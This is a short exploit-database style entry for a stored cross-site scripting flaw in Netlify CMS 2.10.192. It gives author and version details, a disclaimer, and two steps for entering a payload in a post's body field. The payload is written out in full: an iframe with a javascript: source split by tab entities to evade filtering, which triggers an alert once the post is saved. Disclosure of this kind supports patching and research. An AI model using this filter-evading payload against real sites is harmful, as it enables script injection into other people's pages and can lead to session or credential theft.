Netlify cms 2.10.192 stored crosssite scripting (xss) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2023-07-11 | Type : webapps | Platform : java
This exploit / vulnerability Netlify cms 2.10.192 stored crosssite scripting (xss) is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Netlify CMS 2.10.192 - Stored Cross-Site Scripting (XSS)
# Exploit Author: tmrswrr
# Vendor Homepage: https://decapcms.org/docs/intro/
# Software Link: https://github.com/decaporg/decap-cms
# Version: 2.10.192
# Tested on: https://cms-demo.netlify.com


Description:

1. Go to new post and write body field your payload:

https://cms-demo.netlify.com/#/collections/posts

Payload = <iframe src=java&Tab;sc&Tab;ript:al&Tab;ert()></iframe>

2. After save it XSS payload will executed and see alert box